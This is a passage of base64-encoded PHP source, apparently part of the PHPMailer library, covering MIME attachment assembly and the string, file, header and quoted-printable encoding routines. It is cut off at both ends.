9hcnJheSgkaW5jbGhhc2gsICRpbmNsKSkgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGluY2xbXSA9ICRpbmNsaGFzaDsKICAgICAgICAgICAgICAgICRuYW1lID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgICAgICAgICAkZW5jb2RpbmcgPSAkYXR0YWNobWVudFszXTsKICAgICAgICAgICAgICAgICR0eXBlID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsKICAgICAgICAgICAgICAgICRjaWQgPSAkYXR0YWNobWVudFs3XTsKICAgICAgICAgICAgICAgIGlmICgkZGlzcG9zaXRpb24gPT0gJ2lubGluZScgJiYgYXJyYXlfa2V5X2V4aXN0cygkY2lkLCAkY2lkVW5pcSkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjaWRVbmlxWyRjaWRdID0gdHJ1ZTsKCiAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcyVzJywgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOwogICAgICAgICAgICAgICAgLy9Pbmx5IGluY2x1ZGUgYSBmaWxlbmFtZSBwcm9wZXJ0eSBpZiB3ZSBoYXZlIG9uZQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXM7IG5hbWU9IiVzIiVzJywKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgICAgICAgICAgaWYgKCRlbmNvZGluZyAhPSAnN2JpdCcpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcycsICRlbmNvZGluZywgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoJGRpc3Bvc2l0aW9uID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJ0NvbnRlbnQtSUQ6IDwlcz4lcycsICRjaWQsICR0aGlzLT5MRSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gSWYgYSBmaWxlbmFtZSBjb250YWlucyBhbnkgb2YgdGhlc2UgY2hhcnMsIGl0IHNob3VsZCBiZSBxdW90ZWQsCiAgICAgICAgICAgICAgICAvLyBidXQgbm90IG90aGVyd2lzZTogUkZDMjE4MyAmIFJGQzIwNDUgNS4xCiAgICAgICAgICAgICAgICAvLyBGaXhlcyBhIHdhcm5pbmcgaW4gSUVURidzIG1zZ2xpbnQgTUlNRSBjaGVja2VyCiAgICAgICAgICAgICAgICAvLyBBbGxvdyBmb3IgYnlwYXNzaW5nIHRoZSBDb250ZW50LURpc3Bvc2l0aW9uIGhlYWRlciB0b3RhbGx5CiAgICAgICAgICAgICAgICBpZiAoIShlbXB0eSgkZGlzcG9zaXRpb24pKSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkX25hbWUgPSAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJG5hbWUpKTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw\/PV0vJywgJGVuY29kZWRfbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXM7IGZpbGVuYW1lPSIlcyIlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkxFIC4gJHRoaXMtPkxFCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVuY29kZWRfbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUgLiAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRSAuICR0aGlzLT5MRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBFbmNvZGUgYXMgc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRzdHJpbmcsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPmVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcy0tJXMnLCAkYm91bmRhcnksICR0aGlzLT5MRSk7CgogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkbWltZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBmaWxlIGF0dGFjaG1lbnQgaW4gcmVxdWVzdGVkIGZvcm1hdC4KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggdG8gdGhlIGZpbGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIFRoZSBlbmNvZGluZyB0byB1c2U7IG9uZSBvZiAnYmFzZTY0JywgJzdiaXQnLCAnOGJpdCcsICdiaW5hcnknLCAncXVvdGVkLXByaW50YWJsZScKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyA9ICdiYXNlNjQnKQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdmaWxlX29wZW4nKSAuICRwYXRoLCBzZWxmOjpTVE9QX0NPTlRJTlVFKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZmFsc2U7CiAgICAgICAgICAgIGlmKCB2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjQuMCcsICc8JykgKSB7CiAgICAgICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRtYWdpY19xdW90ZXMpIHsKICAgICAgICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgICAgICAgICAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoZmFsc2UpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAvL0RvZXNuJ3QgZXhpc3QgaW4gUEhQIDUuNCwgYnV0IHdlIGRvbid0IG5lZWQgdG8gY2hlY2sgYmVjYXVzZQogICAgICAgICAgICAgICAgICAgIC8vZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lIGFsd2F5cyByZXR1cm5zIGZhbHNlIGluIDUuNCsKICAgICAgICAgICAgICAgICAgICAvL3NvIGl0IHdpbGwgbmV2ZXIgZ2V0IGhlcmUKICAgICAgICAgICAgICAgICAgICBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIGZhbHNlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkZmlsZV9idWZmZXIgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9ICR0aGlzLT5lbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOwogICAgICAgICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSkgewogICAgICAgICAgICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJGZpbGVfYnVmZmVyOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgc3RyaW5nIGluIHJlcXVlc3RlZCBmb3JtYXQuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIFRoZSB0ZXh0IHRvIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgVGhlIGVuY29kaW5nIHRvIHVzZTsgb25lIG9mICdiYXNlNjQnLCAnN2JpdCcsICc4Yml0JywgJ2JpbmFyeScsICdxdW90ZWQtcHJpbnRhYmxlJwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVTdHJpbmcoJHN0ciwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpCiAgICB7CiAgICAgICAgJGVuY29kZWQgPSAnJzsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJGVuY29kaW5nKSkgewogICAgICAgICAgICBjYXNlICdiYXNlNjQnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRzdHIpLCA3NiwgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICc3Yml0JzoKICAgICAgICAgICAgY2FzZSAnOGJpdCc6CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT5maXhFT0woJHN0cik7CiAgICAgICAgICAgICAgICAvLyBNYWtlIHN1cmUgaXQgZW5kcyB3aXRoIGEgbGluZSBicmVhawogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZW5jb2RlZCwgLShzdHJsZW4oJHRoaXMtPkxFKSkpICE9ICR0aGlzLT5MRSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkIC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdiaW5hcnknOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkc3RyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3F1b3RlZC1wcmludGFibGUnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUVAoJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZW5jb2RpbmcnKSAuICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRlbmNvZGVkOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgaGVhZGVyIHN0cmluZyBvcHRpbWFsbHkuCiAgICAgKiBQaWNrcyBzaG9ydGVzdCBvZiBRLCBCLCBxdW90ZWQtcHJpbnRhYmxlIG9yIG5vbmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwb3NpdGlvbgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZUhlYWRlcigkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgJG1hdGNoY291bnQgPSAwOwogICAgICAgIHN3aXRjaCAoc3RydG9sb3dlcigkcG9zaXRpb24pKSB7CiAgICAgICAgICAgIGNhc2UgJ3BocmFzZSc6CiAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9bXDIwMC1cMzc3XS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgIC8vIENhbid0IHVzZSBhZGRzbGFzaGVzIGFzIHdlIGRvbid0IGtub3cgdGhlIHZhbHVlIG9mIG1hZ2ljX3F1b3Rlc19zeWJhc2UKICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGFkZGNzbGFzaGVzKCRzdHIsICJcMC4uXDM3XDE3N1xcXCIiKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKCRzdHIgPT0gJGVuY29kZWQpICYmICFwcmVnX21hdGNoKCcvW15BLVphLXowLTkhIyQlJlwnKitcLz0\/Xl9ge3x9fiAtXS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRlbmNvZGVkKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCJcIiRlbmNvZGVkXCIiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvW15cMDQwXDA0MVwwNDMtXDEzM1wxMzUtXDE3Nl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIC8qKiBAbm9pbnNwZWN0aW9uIFBocE1pc3NpbmdCcmVha1N0YXRlbWVudEluc3BlY3Rpb24gKi8KICAgICAgICAgICAgY2FzZSAnY29tbWVudCc6CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvWygpIl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgLy8gSW50ZW50aW9uYWwgZmFsbC10aHJvdWdoCiAgICAgICAgICAgIGNhc2UgJ3RleHQnOgogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgKz0gcHJlZ19tYXRjaF9hbGwoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgLy9UaGVyZSBhcmUgbm8gY2hhcnMgdGhhdCBuZWVkIGVuY29kaW5nCiAgICAgICAgaWYgKCRtYXRjaGNvdW50ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuICgkc3RyKTsKICAgICAgICB9CgogICAgICAgICRtYXhsZW4gPSA3NSAtIDcgLSBzdHJsZW4oJHRoaXMtPkNoYXJTZXQpOwogICAgICAgIC8vIFRyeSB0byBzZWxlY3QgdGhlIGVuY29kaW5nIHdoaWNoIHNob3VsZCBwcm9kdWNlIHRoZSBzaG9ydGVzdCBvdXRwdXQKICAgICAgICBpZiAoJG1hdGNoY291bnQgPiBzdHJsZW4oJHN0cikgLyAzKSB7CiAgICAgICAgICAgIC8vIE1vcmUgdGhhbiBhIHRoaXJkIG9mIHRoZSBjb250ZW50IHdpbGwgbmVlZCBlbmNvZGluZywgc28gQiBlbmNvZGluZyB3aWxsIGJlIG1vc3QgZWZmaWNpZW50CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdCJzsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykgJiYgJHRoaXMtPmhhc011bHRpQnl0ZXMoJHN0cikpIHsKICAgICAgICAgICAgICAgIC8vIFVzZSBhIGN1c3RvbSBmdW5jdGlvbiB3aGljaCBjb3JyZWN0bHkgZW5jb2RlcyBhbmQgd3JhcHMgbG9uZwogICAgICAgICAgICAgICAgLy8gbXVsdGlieXRlIHN0cmluZ3Mgd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAiXG4iKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZSgkc3RyKTsKICAgICAgICAgICAgICAgICRtYXhsZW4gLT0gJG1heGxlbiAlIDQ7CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IHRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsICRtYXhsZW4sICJcbiIpKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdRJzsKICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24pOwogICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT53cmFwVGV4dCgkZW5jb2RlZCwgJG1heGxlbiwgdHJ1ZSk7CiAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJz0nIC4gc2VsZjo6Q1JMRiwgIlxuIiwgdHJpbSgkZW5jb2RlZCkpOwogICAgICAgIH0KCiAgICAgICAgJGVuY29kZWQgPSBwcmVnX3JlcGxhY2UoJy9eKC4qKSQvbScsICcgPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAiPyRlbmNvZGluZz9cXDE\/PSIsICRlbmNvZGVkKTsKICAgICAgICAkZW5jb2RlZCA9IHRyaW0oc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkZW5jb2RlZCkpOwoKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhIHN0cmluZyBjb250YWlucyBtdWx0aS1ieXRlIGNoYXJhY3RlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIG11bHRpLWJ5dGUgdGV4dCB0byB3cmFwIGVuY29kZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBoYXNNdWx0aUJ5dGVzKCRzdHIpCiAgICB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykpIHsKICAgICAgICAgICAgcmV0dXJuIChzdHJsZW4oJHN0cikgPiBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpKTsKICAgICAgICB9IGVsc2UgeyAvLyBBc3N1bWUgbm8gbXVsdGlieXRlcyAod2UgY2FuJ3QgaGFuZGxlIHdpdGhvdXQgbWJzdHJpbmcgZnVuY3Rpb25zIGFueXdheSkKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIERvZXMgYSBzdHJpbmcgY29udGFpbiBhbnkgOC1iaXQgY2hhcnMgKGluIGFueSBjaGFyc2V0KT8KICAgICAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFzOGJpdENoYXJzKCR0ZXh0KQogICAgewogICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvW1x4ODAtXHhGRl0vJywgJHRleHQpOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGFuZCB3cmFwIGxvbmcgbXVsdGlieXRlIHN0cmluZ3MgZm9yIG1haWwgaGVhZGVycwogICAgICogd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIuCiAgICAgKiBBZGFwdGVkIGZyb20gYSBmdW5jdGlvbiBieSBwYXJhdm9pZAogICAgICogQGxpbmsgaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5tYi1lbmNvZGUtbWltZWhlYWRlci5waHAjNjAyODMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIgbXVsdGktYnl0ZSB0ZXh0IHRvIHdyYXAgZW5jb2RlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsaW5lYnJlYWsgc3RyaW5nIHRvIHVzZSBhcyBsaW5lZmVlZC9lbmQtb2YtbGluZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAkbGluZWJyZWFrID0gbnVsbCkKICAgIHsKICAgICAgICAkc3RhcnQgPSAnPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAnP0I\/JzsKICAgICAgICAkZW5kID0gJz89JzsKICAgICAgICAkZW5jb2RlZCA9ICcnOwogICAgICAgIGlmICgkbGluZWJyZWFrID09PSBudWxsKSB7CiAgICAgICAgICAgICRsaW5lYnJlYWsgPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICAkbWJfbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAvLyBFYWNoIGxpbmUgbXVzdCBoYXZlIGxlbmd0aCA8PSA3NSwgaW5jbHVkaW5nICRzdGFydCBhbmQgJGVuZAogICAgICAgICRsZW5ndGggPSA3NSAtIHN0cmxlbigkc3RhcnQpIC0gc3RybGVuKCRlbmQpOwogICAgICAgIC8vIEF2ZXJhZ2UgbXVsdGktYnl0ZSByYXRpbwogICAgICAgICRyYXRpbyA9ICRtYl9sZW5ndGggLyBzdHJsZW4oJHN0cik7CiAgICAgICAgLy8gQmFzZTY0IGhhcyBhIDQ6MyByYXRpbwogICAgICAgICRhdmdMZW5ndGggPSBmbG9vcigkbGVuZ3RoICogJHJhdGlvICogLjc1KTsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJG1iX2xlbmd0aDsgJGkgKz0gJG9mZnNldCkgewogICAgICAgICAgICAkbG9va0JhY2sgPSAwOwogICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAkb2Zmc2V0ID0gJGF2Z0xlbmd0aCAtICRsb29rQmFjazsKICAgICAgICAgICAgICAgICRjaHVuayA9IG1iX3N1YnN0cigkc3RyLCAkaSwgJG9mZnNldCwgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGNodW5rID0gYmFzZTY0X2VuY29kZSgkY2h1bmspOwogICAgICAgICAgICAgICAgJGxvb2tCYWNrKys7CiAgICAgICAgICAgIH0gd2hpbGUgKHN0cmxlbigkY2h1bmspID4gJGxlbmd0aCk7CiAgICAgICAgICAgICRlbmNvZGVkIC49ICRjaHVuayAuICRsaW5lYnJlYWs7CiAgICAgICAgfQoKICAgICAgICAvLyBDaG9tcCB0aGUgbGFzdCBsaW5lZmVlZAogICAgICAgICRlbmNvZGVkID0gc3Vic3RyKCRlbmNvZGVkLCAwLCAtc3RybGVuKCRsaW5lYnJlYWspKTsKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgaW4gcXVvdGVkLXByaW50YWJsZSBmb3JtYXQuCiAgICAgKiBBY2NvcmRpbmcgdG8gUkZDMjA0NSBzZWN0aW9uIDYuNy4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIHRleHQgdG8gZW5jb2RlCiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbGluZV9tYXggTnVtYmVyIG9mIGNoYXJzIGFsbG93ZWQgb24gYSBsaW5lIGJlZm9yZSB3cmFwcGluZwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucXVvdGVkLXByaW50YWJsZS1kZWNvZGUucGhwIzg5NDE3IEFkYXB0ZWQgZnJvbSB0aGlzIGNvbW1lbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCA9IDc2KQogICAgewogICAgICAgIC8vIFVzZSBuYXRpdmUgZnVuY3Rpb24gaWYgaXQncyBhdmFpbGFibGUgKD49IFBIUDUuMykKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdxdW90ZWRfcHJpbnRhYmxlX2VuY29kZScpKSB7CiAgICAgICAgICAgIHJldHVybiBxdW90ZWRfcHJpbnRhYmxlX2VuY29kZSgkc3RyaW5nKTsKICAgICAgICB9CiAgICAgICAgLy8gRmFsbCBiYWNrIHRvIGEgcHVyZSBQSFAgaW1wbGVtZW50YXRpb24KICAgICAgICAkc3RyaW5nID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgIGFycmF5KCclMjAnLCAnJTBEJTBBLicsICclMEQ